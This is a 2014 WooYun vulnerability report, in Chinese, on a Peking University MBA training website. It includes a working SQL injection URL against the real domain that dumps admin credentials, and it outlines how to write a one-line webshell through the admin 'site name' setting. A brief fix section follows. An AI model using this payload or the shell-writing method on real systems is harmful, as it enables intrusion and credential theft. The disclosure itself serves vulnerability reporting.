漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-078689
漏洞标题：北京大学某MBA网站SQL注入Getshell
相关厂商：北京大学
漏洞作者： 路人甲
提交时间：2014-10-09 00:33
修复时间：2014-10-14 00:34
公开时间：2014-10-14 00:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-10-09： 细节已通知厂商并且等待厂商处理中
2014-10-14： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
北京大学某MBA网站存在SQL注入，默认后台，进入后台可以Getshell
详细说明：
北大某子网站Getshell
PS.本人提交了关于xycms的后台通用性漏洞QTVA-2014-74588，管理员没有通过原因是不接受后台Getshell漏洞，建议分别提交漏洞
1.北京大学经营方略高级培训班官网
2.该网站存在SQL注入漏洞，可以爆出用户名密码
http://www.jingyingfanglue.com/news_detail.asp?id=60499%20union%20se%lect%201,admin,password,password,5,6,7,8,9,10,11,12%20from%20admin_user%20where%20id=1
3.默认后台admin，尝试登陆
4.登陆后台
5.在“系统设置->网站名称”处可以写入一句话
6.连接shell
7.删除shell
漏洞证明：
连接shell
修复方案：
先修补SQL注入
管理员密码设置复杂一些，即使得到md5也不能逆向得到明文
后台写shell那个，找专人修补吧
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-10-14 00:34
厂商回复：
最新状态：
暂无